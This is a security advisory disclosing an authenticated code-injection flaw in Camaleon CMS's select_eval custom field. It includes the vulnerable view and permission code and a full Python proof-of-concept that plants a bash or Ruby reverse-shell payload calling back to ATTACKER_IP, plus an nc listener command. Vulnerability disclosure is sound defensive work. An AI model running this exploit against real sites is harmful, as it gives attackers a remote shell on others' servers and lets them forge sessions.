
Security Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field
select_eval Custom FieldAssigned CVE ID: CVE-2026-66748
Product: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
Affected versions: 2.1.1 – 2.9.1 (introduced commit 415cbda6 2015-10-16; fixed commit 15882366 2026-03-29 / v2.9.2)
Severity: High
CVSS 4.0 Score: 8.7
CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94 (Code Injection)
Researcher: Theodosis Paidakis
Vendor notified: 2026-06-21
Related advisory: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - parallel field type, same root cause, no CVE assigned)
The select_eval custom field type stores an arbitrary Ruby expression in field.options[:command] and executes it via instance_eval in an ERB view whenever a post edit page is rendered. Pre-v2.9.2, any user with the custom_fields manage permission - commonly granted to editor-role accounts - could create this field type and achieve server-side RCE. A select_eval field fires on every page render of any post using the field group; its output becomes the dropdown options list. The vulnerability was patched in v2.9.2.
File: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval is called with the raw string from the database record. No sandboxing and no compile-time restriction on what methods or constants are accessible from the ERB binding (which is a full Rails view context).
File: app/models/camaleon_cms/ability.rb (v2.9.1, lines 161-165)
custom_fields is never granted explicitly. Eight resources get can :manage individually further up the file (media, comments, themes, widgets, nav_menu, plugins, users, settings), and custom_fields is not one of them. It is reachable only through this catch-all, which hands manage to any key present in the role's @roles_manager hash without checking whether that key is safe to grant:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
Any user whose role has the custom_fields bit set therefore reaches the custom fields controller. In the affected range that bit is routinely granted to editor-level roles.
The v2.9.2 rewrite replaces can with a safe_can wrapper and adds an explicit %i[...] list containing both custom_fields and select_eval, but the catch-all loop above still exists in that version. The permission list is not what fixes this issue; the strong-parameters allowlist in custom_fields_controller.rb and the can?(:manage, :select_eval) gate in custom_field_group.rb are.
The select_eval field type was designed to let developers dynamically populate select dropdowns from Ruby code stored in the CMS database. Executing arbitrary Ruby from a database column via instance_eval is equivalent to granting shell access to anyone who can write that value. The permission requirement was custom_fields - a routine content-management permission - rather than an explicit privileged bit.
This finding was published GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 covering a parallel label_eval field type in Camaleon CMS. That advisory was part of a batch of five findings (GHSL-2024-182 through GHSL-2024-186); only two of the five received CVE numbers (CVE-2024-46986 and CVE-2024-46987). GHSL-2024-185 itself has no assigned CVE.
select_eval and label_eval share the same root cause - arbitrary Ruby stored in the database executed via instance_eval in an ERB view - but are distinct in every other dimension:
label_eval (GHSL-2024-185) | select_eval (this report) | |
|---|---|---|
| Execution site | Field label in any form | select_tag in post edit page |
| Write path | Custom field label text | meta row |
This report covers select_eval exclusively. No existing CVE or public advisory documents this specific field type and its exploitation path.
The affected range v2.1.1 to v2.9.1 was determined by source analysis; exploitation was confirmed end to end on v2.9.1. Requires only an account with custom_fields permission - no server access.
Prerequisites: Any account with the custom_fields manage bit set - a standard editor-role permission in the affected range.
Step 1. Start a listener:
nc -lnvp 4444
Step 2. Run the script. Edit BASE, ATTACKER_IP, TYPE_ID, POST_ID, and credentials.
TYPE_ID - post type ID visible in the admin sidebar URL (e.g. /admin/post_type/2/posts).
POST_ID - any post ID under that type, from the post list edit links.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
Any account with custom_fields permission (pre-v2.9.2) gains:
deploy, www-data, rails, etc.)secret_key_base from config/secrets.yml allows forging arbitrary session cookies for any user including adminsPre-v2.9.2, the custom_fields permission was routinely granted to editor-role users. An attacker who compromises any editor-level account achieves full server-side RCE.
2026-06-19 - Discovered during source analysis of v2.9.2 and v2.9.1 2026-06-21 - Vendor notified 2026-03-29 - Patch already released (v2.9.2, commit 15882366)
field.options[:command]